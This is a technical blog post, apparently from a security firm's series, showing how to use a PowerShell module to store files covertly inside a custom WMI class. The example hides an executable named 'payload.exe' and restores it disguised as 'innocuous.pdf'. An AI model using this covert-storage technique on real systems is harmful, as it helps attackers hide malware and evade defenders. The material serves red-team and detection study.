Getting Started with WMI Weaponization – Part 6
Covert File Storage
Lets look at another practical example of weaponizing WMI using PowerShell. Earlier we went over how to create a custom WMI class. Using this class along with the Set-WmiInstance command we can create a class that we can then use to store files as Base64 Encoded strings.
To simplify this process, I created a module called Invoke-WMIFS.ps1. To start we will import the module:
PS C:\> Import-Module Invoke-WMIFS.ps1
This module provides the following functions:
- Get-WmiLength
- New-WmiClass
- ConvertTo-Base64
- ConvertFrom-Base64
- Invoke-InsertFile
- Invoke-RetrieveFile
To start, we use the function New-WmiClass to create a class that is preconfigured to store the files.
PS C:\> $ClassName = "WMIFS"
PS C:\> New-WmiClass -ClassName $ClassName
Path : \\.\root\cimv2:WMIFS
RelativePath : WMIFS
Server : .
NamespacePath : root\cimv2
ClassName : WMIFS
IsClass : True
IsInstance : False
IsSingleton : False
PS C:\> Get-CimClass -ClassName $ClassName
NameSpace: ROOT/cimv2
CimClassName CimClassMethods CimClassProperties
------------ --------------- ------------------
WMIFS {} {FileName, FileStore, Index}
This new class has three properties: FileStore, FileName, and Index.
We then use the function Get-WmiLength to retrieve the max length of a string that can be inserted into the class. This can vary somewhat and should be discovered each time.
PS C:\> $Length = Get-WmiLength -Verbose -ClassName $ClassName
VERBOSE: Testing Length 8000
[TRUNCATED]
VERBOSE: Testing Length 8143
Set-WmiInstance : Quota violation
At C:\Invoke-WMIFS.ps1:19 char:27
+ ... $Insert = Set-WmiInstance -Class $ClassName -Arguments @{
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
+ CategoryInfo : InvalidOperation: (:) [Set-WmiInstance], ManagementException
+ FullyQualifiedErrorId : SetWMIManagementException,Microsoft.PowerShell.Commands.SetWmiInstance
PS C:\> $Length
8143
In this test we are looking for WMI to throw a Quota Violation indicating the string is too long to be inserted.
In this example, we are inserting an executable file, and for this we use the ConvertTo-Base64 function.
PS C:\> $FileName = "payload.exe" PS C:\> $EncodedText = ConvertTo-Base64 -FileName $FileName -Verbose VERBOSE: Reading C:\Windows\System32\payload.exe VERBOSE: Encoding C:\Windows\System32\payload.exe VERBOSE: Finished Encoding C:\Windows\System32\payload.exe
Then to place the file into out WMIFS WMI class we use the Invoke-InsertFile function. This will slice the file into lengths predetermined by Get-WmiLength and place the chunks into the class we created.
PS C:\> Invoke-InsertFile -EncodedText $EncodedText -FileName $FileName -ClassName $ClassName -StrLen $Length -Verbose VERBOSE: Inserting Section: 0 to 8100 [TRUNCATED] VERBOSE: Inserting Section: 1927800 to 1935900
To later retrieve the file, we use the Invoke-RetrieveFile, which operates Invoke-InsertFile in reverse. It will retrieve the file from WMI and then reassemble it in order.
PS C:\> $File = Invoke-RetrieveFile -FileName $FileName -ClassName $ClassName -Verbose3 VERBOSE: Reading Section 0 (8100) [TRUNCATED] VERBOSE: Reading Section 238 (7468)
Then to write the file back to disk, we use the ConvertFrom-Base64 function.
PS C:\> ConvertFrom-Base64 -EncodedText $File -FileName 'C:\innocuous.pdf' -Verbose VERBOSE: Decoding File VERBOSE: Finished Decoding File VERBOSE: Writing File to Disk as C:\innocuous.pdf
Additionally, the option to use the pipeline and encrypt the file store is available. By default, it uses the current user’s certificate as the encryption key, but optionally a key can be explicitly specified.
PS C:\> ConvertTo-Base64 -FileName .\SuperSecret.pdf -Verbose | Invoke-InsertFile -FileName SuperSecret.pdf -ClassName WMIFS -Encrypt -Verbose VERBOSE: Reading .\SuperSecret.pdf VERBOSE: Encoding .\SuperSecret.pdf VERBOSE: Finished Encoding .\SuperSecret.pdf VERBOSE: Inserting Section: 0 to 1904 (0) VERBOSE: Inserting Section: 1904 to 3808 (1) VERBOSE: Inserting Section: 3808 to 5712 (2) VERBOSE: Inserting Section: 5712 to 7616 (3) ...
Later the file can be retrieved and decrypted.
PS C:\> Invoke-RetrieveFile -FileName SuperSecret.pdf -ClassName WMIFS -Decrypt -Verbose | ConvertFrom-Base64 -WriteToDisk -FileName .\SuperSecret.pdf VERBOSE: Reading Section 0 (7908) VERBOSE: Reading Section 1 (7908) VERBOSE: Reading Section 2 (7908) VERBOSE: Reading Section 3 (7908) ...
Explore More Blog Posts
ADPathFinder: OpenGraph Attack Path Mapping in BloodHound CE
ADPathFinder unifies SharpHound data with OpenGraph collectors like MSSQLHound and ConfigManBearPig. Discover how this tool maps complex, cross-dataset privilege escalation paths across AD, ADCS, MSSQL, and SCCM, and brings vital graph context to your password audits.
Confidence Over Noise: Introducing Continuous AI Findings Validation
NetSPI's Continuous AI Findings Validation service applies expert human judgment to AI-generated security findings, eliminating false positives and verifying severity so security teams can trust, prioritize, and act with confidence instead of chasing noise.
Bypassing Microsoft Entra Conditional Access Policies via Nested App Authentication
Discover how attackers bypassed Microsoft Entra Conditional Access Policies using Nested App Authentication (NAA) flows in this technical vulnerability breakdown.